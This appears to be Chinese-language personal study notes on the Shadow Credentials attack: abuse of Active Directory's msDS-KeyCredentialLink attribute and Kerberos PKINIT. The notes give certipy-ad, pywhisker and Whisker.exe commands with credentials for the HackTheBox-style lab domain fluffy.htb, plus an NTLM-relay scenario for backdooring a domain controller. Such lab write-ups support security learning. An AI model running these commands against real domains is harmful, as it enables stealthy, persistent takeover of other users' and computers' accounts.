Kerberos 身份验证协议通过票据来授予访问权限。一个 服务票据 (ST) 可以通过出示一个 票据授予票据 (TGT) 来获得。而在此之前的 TGT,只能通过验证一个名为“预认证 (pre-authentication)”的第一步来获得(除非某些账户明确移除了这个要求,使它们容易受到 asreproasting 攻击)。
预认证可以通过对称方式(使用 DES、RC4、AES128 或 AES256 密钥)或非对称方式(使用证书)进行验证。非对称的预认证方式被称为 PKINIT。
客户端拥有一对公钥-私钥对,并使用其私钥加密预认证数据,KDC(密钥分发中心)则使用客户端的公钥解密。KDC 也拥有一对公钥-私钥对,用于会话密钥的交换。(specterops.io)
Active Directory 用户和计算机对象有一个名为 msDS-KeyCredentialLink
的属性,可以设置原始公钥。当尝试使用 PKINIT 进行预认证时,KDC 将检查认证用户是否拥有匹配的私钥知识,如果匹配,就会发送一个 TGT。
在多种情况下,攻击者可以控制一个账户,该账户有能力编辑其他对象(例如,某个特殊组的成员,拥有强大的访问控制条目 [ACEs] 等)的 msDS-KeyCredentialLink(又称“kcl”)属性。这使得攻击者可以创建一对密钥,将其原始公钥添加到该属性中,从而获得对目标对象(可以是用户或计算机)的持久且隐蔽的访问权限。
msDS-KeyCredentialLink
属性的账户。
msDS-KeyCredentialLink
功能是随 Windows Server 2016 引入的。但是,这不应与 PKINIT 混淆,后者在 Windows 2000 中就已经存在。msDS-KeyCredentialLink
功能允许将 X509 证书链接到域对象,仅此而已
使用 certipy-ad
#使用certipy-ad
certipy-ad shadow auto -username 'p.agila@fluffy.htb' -p 'prometheusx-303' -account 'victim' -dc-ip 10.10.11.69
也可以用 pywhisker(不好用)
pywhisker -d fluffy.htb -u p.agila -p prometheusx-303 --target WINRM_SVC --action "list"
pywhisker -d fluffy.htb -u p.agila -p prometheusx-303 --target WINRM_SVC --action "info" --device-id ff657ba0-3172-d676-30dd-759d5602fa77
从 Windows 系统,用户或计算机目标的 msDs-KeyCredentialLink
属性可以使用 Whisker.exe 工具进行操作。
Whisker.exe add /target:"TARGET_SAMNAME" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /path:"cert.pfx" /password:"pfx-password"
当公钥被设置在目标(用户或计算机)的 msDs-KeyCredentialLink
属性中时,生成的证书可以用于PTC攻击,以获得 TGT(票据授予票据)并进一步获得访问权限。
自编辑 KCL 属性 (Self edit the KCL attribute)
用户对象无法编辑它们自己的 msDS-KeyCredentialLink
属性,而计算机对象可以。 这意味着以下场景可能奏效:触发来自 DC01 的 NTLM 身份验证,将其(认证会话)中继到 DC02,然后让 pywhisker 工具编辑 DC01 的 msDS-KeyCredentialLink
属性,从而在其上创建一个 Kerberos PKINIT 预认证后门,并使用 PKINIT 和“传递缓存”(Pass-the-cache)获得对 DC01 的持久访问权限。
计算机对象只有在 KeyCredential 尚未设置时才能编辑它们自己的 msDS-KeyCredentialLink
属性。